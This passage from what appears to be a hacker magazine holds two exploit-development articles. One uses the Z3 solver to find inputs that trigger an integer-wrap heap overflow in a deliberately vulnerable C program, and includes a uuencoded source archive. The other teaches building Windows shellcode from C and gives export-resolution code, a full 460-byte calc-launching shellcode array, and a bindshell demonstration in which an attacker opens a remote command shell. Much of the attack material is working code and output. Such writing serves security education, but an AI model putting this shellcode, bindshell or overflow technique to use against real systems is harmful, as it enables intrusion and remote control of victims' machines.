2162--[ What is Z3?
2163
2164Z3 is an SMT (satisfiability modulo theories) solver written by Microsoft
2165Research. It is cross platform, (Windows/Linux/Mac OS X) and free (MIT
2166License).
2167
2168Internally at Microsoft it is used for program analysis and verification.
2169
2170Z3 exposes either a C or Python based API, with a rich set of features. In
2171this paper we will only scratch the surface of the Python API. I feel this
2172is the simplest way to jump right in and instantly get value from Z3 with
2173almost no learning curve required. There is a lot of documentation on the
2174web if you wish to venture deeper into the functionality of Z3.
2175
2176--[ Installing Z3
2177
2178Installing Z3 is a simple process, and as i mentioned, can be done on most
2179operating systems. The source code to Z3 is available from the Z3 Github
2180page (2).
2181
2182The build instructions for Mac OS X are simply as follows:
2183
2184 CXX=clang++ CC=clang python scripts/mk_make.py
2185 cd build
2186 make
2187 sudo make install
2188
2189For Ubuntu it is even simpler:
2190
2191 sudo apt-get install python-z3
2192
2193Once this is done, the Python module can be used by simply using "import
2194z3" from within Python.
2195
2196--[ Introduction to Z3
2197
2198To whet your appetite, we will first explore a simple maths example
2199unrelated to exploit development. The following small puzzle was being
2200passed around social media sites:
2201
2202 A+B = 240
2203 C+D = 500
2204 D-B+C = 455
2205 A+C = 215
2206 What answer for D?
2207
2208While this can easily be solved with math, it is much easier to make Z3 do
2209all the work for us.
2210
2211The first step in our solver is to import z3 and declare some variables for
2212use in the solver. The following code creates 4 Int() type variables.
2213A,B,C,D and initiates the solver class.
2214
2215Note: The string passed to each variable is used to label the results when
2216the model is printed at the end.
2217
2218 #!/usr/bin/env python
2219
2220 from z3 import *
2221
2222 # Declare our variables
2223 A = Int('A')
2224 B = Int('B')
2225 C = Int('C')
2226 D = Int('D')
2227
2228 s = Solver()
2229
2230Now that we have our variables declared, we must define some simple
2231constraints for the solver. Basically we need to take each line in the
2232above problem and convert it to an expression using our variables.
2233
2234 # Add the constraints
2235 s.add(A + B == 240) # A+B = 240
2236 s.add(C + D == 500) # C+D = 500
2237 s.add(D-B+C == 455) # D-B+C = 455
2238 s.add(A+C == 215) # A+C = 215
2239
2240The final steps are to use the check() function to solve the problem and
2241print the model at the end.
2242
2243 print "[+] Solving..."
2244 s.check()
2245 ttt = s.model()
2246 print "[MODEL---------------------------------------]"
2247 print ttt
2248 print "[--------------------------------------------]"
2249
2250Running this code provides the following output:
2251
2252 $ python facebook.py
2253 [+] Solving...
2254 [MODEL---------------------------------------]
2255 [C = 20, B = 45, D = 480, A = 195]
2256 [--------------------------------------------]
2257
2258As you can see, it only took a couple of minutes to code a solver for this
2259problem and we got the answer D=480. Congratulations, if you followed this
2260far you can now cheat at facebook and impress your friends!!!
2261
2262I have included the sample code for this (facebook.py) in the appendix.
2263
2264--[ Z3 and Exploit dev
2265
2266As I'm sure you can now imagine there are a billion small math problems
2267like this in exploit development. Some typical examples for me are:
2268
2269* Solving input values to control allocation/copy sizes.
2270* Root causing a fuzz crash, one constraint for each cmp instruction, then
2271 control register contents as needed.
2272* Finding input values which constrain to certain criteria.
2273* etc.
2274
2275To make this more clear, I have written a small vulnerable program with
2276which we can look at the exploitation process and how Z3 can help us.
2277
2278----[ Vulnerable example
2279
2280The following example code has a clearly visible integer wrap
2281vulnerability. We can obviously utilize this to cause a heap overflow into
2282the chunk pointed to by sstr.
2283
2284Have a quick read over the code below, and afterwards I will explain the
2285challenges involved in solving this problem.
2286
2287 1 #include <stdio.h>
2288 2 #include <stdlib.h>
2289 3 #include <string.h>
2290 4
2291 5 #define HEADER "-------------------------------------------[ ASCII
2292DIAGRAM ]----------------------------------------------------\n"
2293 6 #define HDRLEN strlen(HEADER)
2294 7
2295 8 char *copyandupdate(char *dst,char *src, unsigned int size)
2296 9 {
2297 10 memcpy(dst,src,size);
2298 11 dst += size;
2299 12 return dst;
2300 13 }
2301 14
2302 15 int main(int argc, char *argv[])
2303 16 {
2304 17 unsigned int width,height,i;
2305 18 char *sstr,*fstr;
2306 19
2307 20 if(argc != 3) {
2308 21 printf("usage: %s <width> <height>\n",argv[0]);
2309 22 exit(-1);
2310 23 }
2311 24
2312 25 width = strtoul(argv[1],NULL,0);
2313 26 height = strtoul(argv[2],NULL,0);
2314 27
2315 28
2316 29 printf("[+] Using width: %u\n",width);
2317 30 printf("[+] Using height: %u\n",height);
2318 31
2319 32 if(width < 5) {
2320 33 printf("error: Width too small\n");
2321 34 exit(1);
2322 35 }
2323 36
2324 37 if((width * height + HDRLEN) > 0x3fffffff) {
2325 38 printf("error: Table too large (%u) \n",width *
2326height);
2327 39 exit(1);
2328 40 }
2329 41
2330 42 printf("[+] Allocating buffer sized: %u\n", width * height
2331+ HDRLEN);
2332 43 sstr = fstr = malloc(width * height + HDRLEN);
2333 44 if(!fstr) {
2334 45 printf("error: Out of Memory!\n");
2335 46 exit(1);
2336 47 }
2337 48
2338 49 printf("[+] Writing header to buffer (%u bytes)\n",HDRLEN);
2339 50 fstr = copyandupdate(fstr,HEADER,HDRLEN);
2340 51 for(i = 0 ; i < height ; i++ )
2341 52 {
2342 53 char *m = malloc(width);
2343 54 if(!m) {
2344 55 printf("error: Out of Memory!\n");
2345 56 break;
2346 57 }
2347 58 memset(m,'X',width);
2348 59 m[width-3] = '\r';
2349 60 m[width-2] = '\n';
2350 61 m[width-1] = '\x00';
2351 62 fstr = copyandupdate(fstr,m,width-1);
2352 63 free(m);
2353 64 }
2354 65
2355 66 printf(sstr);
2356 67
2357 68 }
2358 69
2359
2360As I'm sure you saw, this code takes a width and height parameter from the
2361command line and creates an ascii table containing the appropriate number
2362of X's.
2363
2364Here is some sample output from a successful run:
2365
2366$ ./asciigrid 30 10
2367[+] Using width: 30
2368[+] Using height: 10
2369[+] Allocating buffer sized: 413
2370[+] Writing header to buffer (113 bytes)
2371-------------------------------------------[ ASCII DIAGRAM
2372]----------------------------------------------------
2373XXXXXXXXXXXXXXXXXXXXXXXXXXX
2374XXXXXXXXXXXXXXXXXXXXXXXXXXX
2375XXXXXXXXXXXXXXXXXXXXXXXXXXX
2376XXXXXXXXXXXXXXXXXXXXXXXXXXX
2377XXXXXXXXXXXXXXXXXXXXXXXXXXX
2378XXXXXXXXXXXXXXXXXXXXXXXXXXX
2379XXXXXXXXXXXXXXXXXXXXXXXXXXX
2380XXXXXXXXXXXXXXXXXXXXXXXXXXX
2381XXXXXXXXXXXXXXXXXXXXXXXXXXX
2382XXXXXXXXXXXXXXXXXXXXXXXXXXX
2383
2384The major vulnerability in this source code occurs between lines 37 and
238543 in the source. As you can see below, the code takes the width and height
2386parameters and checks to make sure that the product of width * height plus
2387the length of the header is < 0x40000000. Next it allocates a buffer based
2388on these values. However, if width and height is large enough to create an
2389integer wrap, the resulting buffer allocation will not correlate to the
2390width and height values themselves, creating potential for a heap overflow.
2391
2392 37 if((width * height + HDRLEN) > 0x3fffffff) {
2393 38 printf("error: Table too large (%u) \n",width *
2394height);
2395 39 exit(1);
2396 40 }
2397 41
2398 42 printf("[+] Allocating buffer sized: %u\n", width * height
2399+ HDRLEN);
2400 43 sstr = fstr = malloc(width * height + HDRLEN);
2401
2402Once this allocation is performed, the program begins by writing the HEADER
2403field into the buffer. Depending on the size of the buffer this will either
2404be inside or outside the allocated buffer. Due to the wrapping allocation
2405size calculation, there is no guarantee at this stage that a large enough
2406allocation was performed to house the HEADER field.
2407
2408Finally at line 51, a copy loop is performed. For each of the lines in
2409height an allocation of "width" bytes is performed. This is then populated
2410with a line of X's, and copied into the buffer. Obviously if our values are
2411large enough to wrap, this loop will end up writing all the way out of
2412bounds of our buffer, but it also has no way to stop copying, therefore it
2413will write all the way until it hits an unmapped page, causing program
2414termination.
2415
2416 51 for(i = 0 ; i < height ; i++ )
2417 52 {
2418 53 char *m = malloc(width);
2419 54 if(!m) {
2420 55 printf("error: Out of Memory!\n");
2421 56 break;
2422 57 }
2423 58 memset(m,'X',width);
2424 59 m[width-3] = '\r';
2425 60 m[width-2] = '\n';
2426 61 m[width-1] = '\x00';
2427 62 fstr = copyandupdate(fstr,m,width-1);
2428 63 free(m);
2429 64 }
2430
2431Luckily for us (;)) there does exist a clean way out of this loop. If the
2432malloc allocation of width bytes fails, the loop is exited, and the program
2433continues.
2434
2435This means, if we can wrap the allocation while having a large enough width
2436to force the allocation to fail, we are able to perform our overflow
2437(copying the header out of bounds) without program termination occurring.
2438(This gives us an opportunity to utilize our overflow). The question is,
2439what input values will allow all this to happen?
2440
2441---[ Solving
2442
2443As you can imagine, the next step in our process is to write a simple
2444solver to calculate these values for us. Once again the process is very
2445simple
2446
2447We begin by importing our library:
2448
2449 1 #!/usr/bin/env python
2450 2
2451 3 from z3 import *
2452 4
2453
2454Next we need to declare the variables used by our sample program. The first
2455variables which we need are the width and height variables. In the previous
2456example we used Int() type variables. However, in this case, we use a
2457BitVec() type. The main difference between these two types in Z3 is the
2458ability to perform binary operations on the BitVec. Also we are able to
2459specify the exact size of the variable, this lets us more easily simulate
2460integer wraps. In this example I am targeting a 32-bit platform, therefore
2461I use the size 32 for each variable. We also need a variable to hold the
2462size of the header, this is not strictly necessary but provides a more
2463clear output in my opinion.
2464
2465 5 width = BitVec('width', 32)
2466 6 height = BitVec('height', 32)
2467 7 headersize = BitVec('headersize',32)
2468 8
2469
2470Next, I create a convenience variable allocsize. This is used to hold the
2471result of the calculation. Instead of this variable we could simple write
2472width * height + headersize each time, however if we did this, the size of
2473the allocation would not be visible in the printed model. Since we care
2474about this size, it makes sense to use a convenience variable.
2475
2476 9 allocsize = BitVec('allocsize',32)
2477 10
2478 11 s = Solver()
2479 12
2480
2481Now that we've declared our variables and initialized the Solver the next
2482step is to add constraints to our model. The first constraint in this
2483program is simply declaring the headersize value. This is done with the
2484following line:
2485
2486 13 s.add(headersize == 113)
2487
2488The next constraint we can add, is to make sure that width by itself is
2489enough to cause the allocation to fail, an easy way to do this is to make
2490sure it is above 0xf0000000, since this would be large enough for a 32-bit
2491process to fail. You may notice that we used a function "UGT" for this,
2492rather than the > operator. The reason for this is that the > operator by
2493default will perform a signed comparison. UGT (unsigned greater than) will
2494provide us with the unsigned functionality we need. As you can imagine the
2495counter function to this ULT() will perform an unsigned less than
2496comparison. Reading the help for the module will show many other useful
2497functions similar to this.
2498
2499 14 s.add(UGT(width,0xf0000000)) # For malloc fail
2500
2501Obviously, we need a constraint to calculate allocsize. This is simply a
2502case of performing the same calculation directly from the source code.
2503
2504 15 s.add(allocsize == width * height + headersize)
2505
2506We then make sure that the allocsize is less than the headersize, so that
2507an overflow occurs.
2508
2509 16 s.add(ULT(allocsize & 0xffffffff,headersize))
2510 17
2511
2512Finally, we solve and print the model...
2513
2514 20 print "[+] Solving..."
2515 21 s.check()
2516 22 ttt = s.model()
2517 23 print "[MODEL---------------------------------------]"
2518 24 print ttt
2519 25 print "[--------------------------------------------]"
2520
2521If we run this solver, the following values are generated:
2522
2523 $ python solver.py
2524 [+] Solving...
2525 [MODEL---------------------------------------]
2526 [height = 2318056819,
2527 width = 4192030789,
2528 allocsize = 112,
2529 headersize = 113]
2530 [--------------------------------------------]
2531
2532Inputting this into the target program confirms our technique, an
2533allocation of 112 bytes is performed and then a header (113) bytes is
2534written to it. Finally an allocation fails, and the loop is exited, then
2535the buffer is printf'ed. (in a vulnerable way... ;) )
2536
2537$ ./asciigrid 4192030789 2318056819
2538[+] Using width: 4192030789
2539[+] Using height: 2318056819
2540[+] Allocating buffer sized: 112
2541[+] Writing header to buffer (113 bytes)
2542asciigrid(98654,0xa33e5000) malloc: *** mach_vm_map(size=4192034816) failed
2543(error code=3)
2544*** error: can't allocate region
2545*** set a breakpoint in malloc_error_break to debug
2546error: Out of Memory!
2547-------------------------------------------[ ASCII DIAGRAM
2548]----------------------------------------------------
2549
2550Finding a way to leverage this overflow is outside of the scope of this
2551paper, however I have personally leveraged a very similar situation in a
2552real life application.
2553
2554
2555---[ Adding constraints to enumerate possibilities?
2556
2557In the above example, the solver gave us a situation where the buffer was
2558sized 1 byte smaller than the copy, however, in real life, most allocators
2559naturally align sizes before returning a chunk to the program. This means
2560that in the above example, no overflow would actually take place. Also with
2561the above situation, we often want to enumerate the QUANTUM sizes which we
2562can utilize on the heap, so we can look for overflow targets etc.
2563
2564Z3 is not really designed for this, solving all permutations, and is more
2565designed for solving a single one. However, we can easily cheat by adding
2566additional constraints to the program. A simple example of this, since we
2567know that a buffer size of 112 is possible, we simply add a constraint
2568making sure that allocsize is less than that.
2569
2570 s.add(ULT(allocsize & 0xffffffff,112))
2571
2572Solving again, we can see that an allocsize of 98 is possible. Since this
2573is code we can easily wrap this in a loop to enumerate all possibilities.
2574
2575 [+] Solving...
2576 [MODEL---------------------------------------]
2577 [allocsize = 98,
2578 height = 732446463,
2579 width = 4167741711,
2580 headersize = 113]
2581 [--------------------------------------------]
2582
2583--[ Conclusion
2584
2585Hopefully this small guide is useful to you. I find myself using these
2586small solvers constantly during exploit dev. Some other areas that these
2587help with are, during auditing - to confirm findings, during exploitation -
2588to calculate values on the fly. I'm sure once you start playing with this
2589library you will do the same.
2590
2591--[ References
2592
25931. https://z3.codeplex.com/ - Z3 Home Page
25942. https://github.com/Z3Prover/z3 - Z3 github page
2595
2596--[ Appendix: Source code
2597
2598begin 644 z3_math_src.tgz
2599M'XL(`&"K858``^U7^T_;2!#FUUC*_S"`>K&)$_R(@T0(4DBX'A*T$H7K232J
2600M''N=6/@1V1M*./5_O]E=.W$H%)#22*?Z$\2>\;?SV-?L/IA?0YM.OJ:)L[_U
2601MBZ!IVH%E`7^VQ5,S6N*9`72C;6JF85G&`6BZV=*T+;!^54!%S%)J)QA*1,+X
2602M9SRD>=Y/OF=Y+)[_$SP4QM].'=\?)[[;=-;J`_NCW6H]._Y&VS`+X]_"\;<L
2603MS=@";:U1/(/??/QW_<@)9BZ!HY2Z?MR<'$LKJL`?/=8E?C1F.FG7)9X?$?CK
2604MM#<XO82=QNMQ`[U/_;,S&)SUWE_V+F#XAK8+?(EVEC$,+L]//P!&%Y!(%A$I
2605MDN1,[`3VG'@ZMR-W-G5M2F2A<U.JBC><^BK,HM0?1\0%/Z*0^@]$D?Z5*B$)
2606MG>E<9ES&XOJ.5$$9ZEU.0RDA=)9$@,J.]%V2F('0]B.9O=C)&(T+/_A^=S/D
2607M=E>\??-=.E$GQ!]/J.JCP2PLS$7=\_"W(TD5WY.9+=CN@JD`FJA,<1RH)^_,
2608M4GM,#N%="D?<TC$<"5O'V#\J=ZH-6=05<N]3N:&S=XRSPMD`7=9I-)X%,N?J
2609M0_7#]?FYJC&:,/288A0H:"</Y*8^A.L4)X?("$.:L0BXP(S]R!/F<Z*0E"Q;
2610M$=T16*O9DB2)DT/XS+_2.(8TM(,`FR\S7"2(5C(S>YDKJ&<318%CT.Y-3^!)
2611M%U?V*"#<18!9$Y#?S118)+0P^83?8J*]((@=F[)L1S//(PF?-6Z>,SP7'YIB
2612M$P"[WA,/EF;L/)M/AZ>[S<A/9O-Q1B'VX`)WN62^_71_%>/^G/A4#)'M8M`T
2613MSL/';H#1G))48?$OO6=AKBXUIE3%8BQ2XT3VD:M!!WP<XBP7%.IU4*0*"U^L
2614M@?!1XCQHEF<HDGQ=EI510NQ;]O8=_W%-IX3*H5K[I[:<G)7PAK\WS"'ZK'U)
2615M:D6E(931BE(7RGM-X^KG.R!4LP;<D9<0(H>/^IR-M=*I2&P#V>C^7ZS_GNV0
2616M41S?-J?SM?IXH?YK[0-#U'^M9;0/+%[_3:VL_YO`[O;^+$WV1WZT3Z([F,[I
2617M)(ZJ4E7RDCB$!Q/\<!HG%/:8KBKU<(:?152N]6I*53K)I1,F]7.ISZ1!+@V8
2618M5)52E#_%P1U)9"$W;=>5>[B#H94N&"U-`=B%7OT$6$U".>?TD3-@'$L3G'Y]
2619MP#DHYYQ!XZ3>9YR697%.IF#RPI=@&#IC"%]]X4NW6$1\*0+?_5B@[)33;.ZP
2620MULZ$.+<L;$IY,6R&L4L"ILC;7'P<G)Z_\M@RW,G;H;FEB;><?)B)]8Q_<?U?
2621MV+=XF`K(>BPO\=+ZUZSL_J?C!J"9;/WC7[G^-P$LKH=29>PXT`A-`PI70&C$
2622M2W&S1:G$QE!<_RG?GM==_5]<_[JNMQ?KWS1X_3>L\OZ_$;RI_HO+1Q=.?/HW
2623M<>0:EVLJF`:6PL5=,?\J%,O/["+!+C\KE%Q94SFK*O'3_B/:0K=@/7V:*/KH
2624M@JZ;2O[E^OV5N$&HVKV7S3M%P3/`GW&2W3#`L_T@YQ>BZ/YX1UOZ63HXORHT
2625M^@,OE]G=TE,+;![K+KS81-<-P?TMSR0E2I0H4:)$B1(E2I0H4:)$B1(EUH?_
2626)`+AIM`(`*```
2627`
2628end
2629
2630
2631|=[ 0x06 ]=---=[ Shellcode the better way, or
2632 how to just use your compiler - fishstiqz ]=------------=|
2633
2634
2635|=-----------------------------------------------------------------------=|
2636|=----=[ Shellcode the better way, or how to just use your compiler ]----=|
2637|=-----------------------------------------------------------------------=|
2638|=---------------------------=[ by fishstiqz ]=--------------------------=|
2639|=-----------------------------------------------------------------------=|
2640
2641
2642--[ Introduction
2643
2644Back in the prehistoric days of memory corruption bugs and exploitation,
2645exploit developers used our primitive tools to construct rudimentary
2646payloads in assembly language. Those days are long past. In this small
2647paper I will investigate some methods for anyone still stuck in the good
2648ol' days of yore using their assembler.
2649
2650--[ Prerequisites
2651
2652This writeup uses the MinGW compiler to demonstrate generating shellcode
2653from C for running on Windows systems. The same concepts should apply to
2654other compilers (such as MSVC) with some tweaking. The python scripts also
2655use the 'pefile' library from erocarrera in order to extract the compiled
2656code.
2657
2658To quickly get started compiling on a linux system, do something like:
2659
2660 $ sudo apt-get install gcc-mingw-w64
2661 $ pip install pefile
2662
2663--[ Concepts
2664
2665There is nothing special about shellcode as opposed to any other compiled
2666code. A shellcode is simply some piece of machine code that typically
2667exhibits the following properties:
2668
2669* Position-independence
2670* Entry point at first byte
2671* Bootstrap for subsequent execution / further access
2672
2673Position-independence is basically the only real hurdle faced when
2674building shellcode with a C compiler. Strings and imported functions will
2675need to be handled inline. All code will need to placed in one section
2676and will need to be ordered appropriately in order to ensure everything is
2677appropriately extracted and relative jumps are correct.
2678
2679This paper will not deal with creating shellcodes that are intended to
2680bypass filters. In the extremely rare event that a filter is necessary
2681(when is the last time you actually needed one in your browser exploit?)
2682it is best to write an encoder and decoder.
2683
2684--[ Inlining strings
2685
2686Inlining strings is quite easily accomplished with inline assembly as in
2687the following macro:
2688
2689 #define INLINE_STR(name, str) \
2690 const char * name; \
2691 asm( \
2692 "call 1f\n" \
2693 ".asciz \"" str "\"\n" \
2694 "1:\n" \
2695 "pop %0\n" \
2696 : "=r" (name) \
2697 );
2698
2699This is how it would be used:
2700
2701 INLINE_STR(kernel32, "kernel32");
2702 PVOID pKernel32 = scGetModuleBase(kernel32);
2703
2704Unfortunately MinGW doesn't have a way to inline a unicode string nor does
2705MSVC have inline assembly for x64 so a different method must be employed
2706when these are being used.
2707
2708One potential way to handle unicode strings would be to generate an inline
2709sequence of .db bytes as a pre-compile step. For MSVC, writing strings one
2710character at a time to a stack buffer also works but is quite ugly.
2711
2712--[ Ordering functions
2713
2714The Makefile included with the source code makes use of the
2715-fno-toplevel-reorder switch which causes code to be generated in the same
2716order they appear in the source files. The Makefile also uses
2717-falign-functions=1 to reduce padding between functions and generate
2718smaller code.
2719
2720Each function is also marked with an attribute forcing them to be
2721placed into a custom section.
2722
2723 #define SCFUNC __attribute__((section("sccode")))
2724
2725This custom section makes extraction of the final code very simple
2726as all shellcode functions will be placed into the "sccode" section
2727and ordered appropriately.
2728
2729In MSVC an order file can be specified with /ORDER to achieve the
2730same effect.
2731
2732--[ Example shellcode
2733
2734The following is a quick GetProcAddress implementation in C which
2735will be used for the examples here.
2736
2737 SCFUNC PVOID scGetModuleBase(const char *moduleName)
2738 {
2739 PPEB pPeb;
2740 PLIST_ENTRY head, entry;
2741 PLDR_DATA_TABLE_ENTRY module;
2742
2743 #if defined(_M_IX86)
2744 pPeb = (PPEB) __readfsdword(0x30);
2745 #elif defined(_M_X64)
2746 pPeb = (PPEB) __readgsqword(0x60);
2747 #endif
2748
2749 head = &pPeb->Ldr->InLoadOrderModuleList;
2750 entry = head->Flink;
2751
2752 while (entry != head)
2753 {
2754 module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY,
2755 InLoadOrderModuleList);
2756 if (scW2Anicmp(module->BaseDllName.Buffer, moduleName, scStrlen
2757 (moduleName)) == 0)
2758 return module->DllBase;
2759 entry = entry->Flink;
2760 }
2761
2762 return NULL;
2763 }
2764
2765 SCFUNC PVOID scGetProcAddr(PVOID modBase, const char *exportName)
2766 {
2767 LPVOID pFunc = NULL;
2768 PBYTE pMod = (PBYTE)modBase;
2769 PIMAGE_NT_HEADERS pNt = GET_NT_HEADERS(pMod);
2770 PIMAGE_DATA_DIRECTORY pDir = &GET_DIRECTORY(pNt,
2771 IMAGE_DIRECTORY_ENTRY_EXPORT);
2772 PIMAGE_EXPORT_DIRECTORY pExportDir;
2773 WORD *pOrdinal;
2774 DWORD *pName;
2775 DWORD *pFuncs;
2776 DWORD i;
2777
2778 // get the export directory
2779 pExportDir = (PIMAGE_EXPORT_DIRECTORY)(pMod + pDir->
2780 VirtualAddress);
2781
2782 // sanity check the export directory
2783 if (pDir->Size == 0 || pExportDir->NumberOfFunctions == 0 ||
2784 pExportDir->NumberOfNames == 0)
2785 return NULL;
2786
2787 // iterate the exported names
2788 pName = (DWORD *) (pMod + pExportDir->AddressOfNames);
2789 pOrdinal = (WORD *) (pMod + pExportDir->AddressOfNameOrdinals);
2790
2791 // hi EMET!
2792 pFuncs = (DWORD *) (pMod + pExportDir->AddressOfFunctions);
2793
2794 for (i = 0; i < pExportDir->NumberOfNames; i++, pName++,
2795 pOrdinal++)
2796 {
2797 if (scStrcmp(exportName, (const char *)(pMod + *pName)) == 0)
2798 {
2799 // found the name, get the function
2800 pFunc = pMod + pFuncs[*pOrdinal];
2801 break;
2802 }
2803 }
2804
2805 return pFunc;
2806 }
2807
2808Here you can see a quick calc-pop demonstration using the above code:
2809
2810 #include <stdio.h>
2811 #include <windows.h>
2812
2813 #include "common.h"
2814 #include "pe.h"
2815
2816 typedef UINT (WINAPI * WinExec_t)(LPCSTR lpCmdLine, UINT uCmdShow);
2817
2818 SCFUNC void scMain(void)
2819 {
2820 INLINE_STR(kernel32, "kernel32");
2821 INLINE_STR(winexec, "WinExec");
2822 INLINE_STR(calc, "calc");
2823
2824 PVOID pKernel32 = scGetModuleBase(kernel32);
2825 WinExec_t pWinExec = (WinExec_t) scGetProcAddr(pKernel32, winexec);
2826 if (pWinExec != NULL)
2827 pWinExec(calc, 0);
2828 }
2829
2830
2831 int main(int argc, char* argv[])
2832 {
2833 scMain();
2834 return 0;
2835 }
2836
2837Thats all there is to the code. Notice that all shellcode functions
2838are marked with the SCFUNC attribute and all strings are inlined.
2839
2840Now to compile and extract the shellcode into a nice header:
2841
2842 $ i686-w64-mingw32-gcc -fno-toplevel-reorder -falign-functions=1 \
2843 -Os -o runcalc.exe runcalc.c common.c pe.c
2844 $ python extract.py runcalc.exe
2845 // 460 bytes
2846 unsigned char shellcode[460] = {
2847 0x55,0x89,0xE5,0x56,0x53,0x83,0xEC,0x10,0xE8,0x09,0x00,0x00,
2848 0x00,0x6B,0x65,0x72,0x6E,0x65,0x6C,0x33,0x32,0x00,0x58,0x89,
2849 0x04,0x24,0xE8,0xD1,0x00,0x00,0x00,0xE8,0x08,0x00,0x00,0x00,
2850 0x57,0x69,0x6E,0x45,0x78,0x65,0x63,0x00,0x5E,0x89,0x74,0x24,
2851 0x04,0xE8,0x05,0x00,0x00,0x00,0x63,0x61,0x6C,0x63,0x00,0x5B,
2852 0x89,0x04,0x24,0xE8,0xFD,0x00,0x00,0x00,0x85,0xC0,0x74,0x0F,
2853 0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x1C,0x24,0xFF,
2854 0xD0,0x50,0x50,0x8D,0x65,0xF8,0x5B,0x5E,0x5D,0xC3,0x90,0x90,
2855 0x55,0x31,0xC0,0x89,0xE5,0x57,0x56,0x53,0x51,0x83,0x7D,0x10,
2856 0x00,0x74,0x44,0x31,0xD2,0x8B,0x45,0x08,0x66,0x8B,0x0C,0x50,
2857 0x8B,0x45,0x0C,0x8D,0x79,0xBF,0x0F,0xBE,0x1C,0x10,0x0F,0xB7,
2858 0xC1,0x66,0x83,0xFF,0x19,0x8D,0x70,0x20,0x0F,0x46,0xC6,0x89,
2859 0x45,0xF0,0x8D,0x73,0xBF,0x89,0xF0,0x3C,0x19,0x8B,0x45,0xF0,
2860 0x8D,0x7B,0x20,0x0F,0x46,0xDF,0x29,0xD8,0x75,0x0D,0x66,0x85,
2861 0xC9,0x74,0x08,0x42,0x39,0x55,0x10,0x75,0xC0,0x31,0xC0,0x5A,
2862 0x5B,0x5E,0x5F,0x5D,0xC3,0x55,0x31,0xD2,0x89,0xE5,0x53,0x8B,
2863 0x45,0x08,0x8B,0x5D,0x0C,0x8A,0x0C,0x10,0x0F,0xBE,0x1C,0x13,
2864 0x42,0x0F,0xBE,0xC1,0x29,0xD8,0x75,0x04,0x84,0xC9,0x75,0xE7,
2865 0x5B,0x5D,0xC3,0x55,0x89,0xE5,0x8B,0x55,0x08,0x89,0xD0,0x80,
2866 0x38,0x00,0x74,0x03,0x40,0xEB,0xF8,0x29,0xD0,0x5D,0xC3,0x90,
2867 0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x1C,0x8B,0x75,0x08,
2868 0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x58,0x0C,
2869 0x8D,0x78,0x0C,0x39,0xFB,0x74,0x28,0x89,0x34,0x24,0xE8,0xC4,
2870 0xFF,0xFF,0xFF,0x8B,0x53,0x30,0x89,0x74,0x24,0x04,0x89,0x14,
2871 0x24,0x89,0x44,0x24,0x08,0xE8,0x36,0xFF,0xFF,0xFF,0x85,0xC0,
2872 0x75,0x05,0x8B,0x43,0x18,0xEB,0x06,0x8B,0x1B,0xEB,0xD4,0x31,
2873 0xC0,0x83,0xC4,0x1C,0x5B,0x5E,0x5F,0x5D,0xC3,0x55,0x89,0xE5,
2874 0x57,0x56,0x53,0x83,0xEC,0x2C,0x8B,0x5D,0x08,0x8B,0x43,0x3C,
2875 0x01,0xD8,0x8B,0x70,0x78,0x01,0xDE,0x83,0x78,0x7C,0x00,0x75,
2876 0x04,0x31,0xC0,0xEB,0x63,0x83,0x7E,0x14,0x00,0x74,0xF6,0x83,
2877 0x7E,0x18,0x00,0x74,0xF0,0x8B,0x46,0x20,0x31,0xD2,0x8B,0x4E,
2878 0x1C,0x01,0xD8,0x89,0x45,0xE4,0x8B,0x46,0x24,0x01,0xD8,0x89,
2879 0x45,0xE0,0x8D,0x3C,0x12,0x03,0x7D,0xE0,0x3B,0x56,0x18,0x73,
2880 0xD0,0x89,0x4D,0xD8,0x8B,0x4D,0xE4,0x89,0x55,0xDC,0x8B,0x04,
2881 0x91,0x01,0xD8,0x89,0x44,0x24,0x04,0x8B,0x45,0x0C,0x89,0x04,
2882 0x24,0xE8,0x0F,0xFF,0xFF,0xFF,0x8B,0x55,0xDC,0x8B,0x4D,0xD8,
2883 0x85,0xC0,0x75,0x0D,0x0F,0xB7,0x07,0x8D,0x04,0x83,0x03,0x1C,
2884 0x08,0x89,0xD8,0xEB,0x03,0x42,0xEB,0xBE,0x83,0xC4,0x2C,0x5B,
2885 0x5E,0x5F,0x5D,0xC3
2886 };
2887
2888And now to demonstrate running the test harness:
2889
2890 $ python extract.py --testharness runcalc.exe > runcalc_testharness.c
2891 $ i686-w64-mingw32-gcc -fno-toplevel-reorder -falign-functions=1 \
2892 -Os -o runcalc_testharness.exe runcalc_testharness.c
2893
2894On the windows machine:
2895
2896 C:\phrack\src>runcalc_testharness.exe
2897 jumping to shellcode @ 00020000
2898 done
2899 C:\phrack\src>tasklist | findstr calc
2900 calc.exe 5720 Console 1
2901 14,244 K
2902
2903--[ Bindshell example
2904
2905The following is a demonstration of a quick windows bindshell. Consult the
2906source code for the implementation.
2907
2908On the linux compiler:
2909
2910 $ i686-w64-mingw32-gcc -fno-toplevel-reorder -falign-functions=1 \
2911 -Os -o bindshell.exe bindshell.c common.c pe.c
2912 $ python extract.py --testharness bindshell.exe > \
2913 bindshell_testharness.c
2914 $ i686-w64-mingw32-gcc -fno-toplevel-reorder -falign-functions=1 \
2915 -Os -o bindshell_testharness.exe bindshell_testharness.c
2916
2917On the windows machine:
2918
2919 C:\phrack\src>bindshell_testharness.exe
2920 jumping to shellcode @ 00020000
2921
2922Attacker:
2923
2924 $ telnet 192.168.204.144 3333
2925 Trying 192.168.204.144...
2926 Connected to 192.168.204.144.
2927 Escape character is '^]'.
2928 Microsoft Windows [Version 10.0.10240]
2929 (c) 2015 Microsoft Corporation. All rights reserved.
2930
2931 C:\phrack\src>ver
2932 ver
2933
2934 Microsoft Windows [Version 10.0.10240]
2935
2936 C:\phrack\src>whoami
2937 whoami
2938 win10-vm\user
2939
2940 C:\phrack\src>exit
2941 exit
2942 Connection closed by foreign host.
2943
2944
2945--[ Conclusion
2946
2947Hopefully this humble paper showed that its super easy to generate
2948shellcode with a C compiler and that you don't have to use an assembler.
2949Obviously assembly language development and understanding are still
2950essential skills for a modern exploit developer. However, using the
2951techniques presented in this paper should limit the times when
2952hand-written assembly code is required to a few specific cases.
2953
2954--[ References
2955
29561. http://www.mingw.org/
29572. https://github.com/erocarrera/pefile
29583. https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html
29594. https://msdn.microsoft.com/en-us/library/00kh39zz.aspx
2960
2961--[ Appendix: Source code
2962
2963begin 644 src.tar.gz
